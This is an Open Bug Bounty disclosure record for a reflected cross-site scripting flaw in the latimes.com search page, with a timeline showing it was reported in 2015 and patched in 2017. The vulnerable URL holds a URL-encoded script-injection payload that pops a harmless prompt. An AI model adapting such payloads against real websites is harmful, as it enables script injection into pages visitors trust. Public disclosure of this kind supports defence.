latimes.com XSS vulnerability

2015-08-17T20:47:00
ID OBB:79842
Type openbugbounty
Reporter rakshasa
Modified 2017-07-25T14:01:00

Description

Vulnerable URL:
http://www.latimes.com/search/dispatcher.front?Query=%22%22%3B%3C%2Fscript%3E%3Cscript%3Eprompt%28%2FXSSPOSED%2F%29%3C%2Fscript%3E%3C%22⌖=all&spell;=on&btnSubmit;=search
Details:

Description| Value
---|---
Patched:| Yes, at 25.07.2017
Latest check for patch:| 25.07.2017 14:01 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 645
Google Pagerank| 8
VIP website status:| Yes
Check latimes.com SSL connection:| (Grade: B+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 17 August, 2015 20:47 GMT
Vulnerability existence verified and confirmed| 17 August, 2015 20:50 GMT
Vulnerability patched by the website owner| 25 July, 2017 14:01 GMT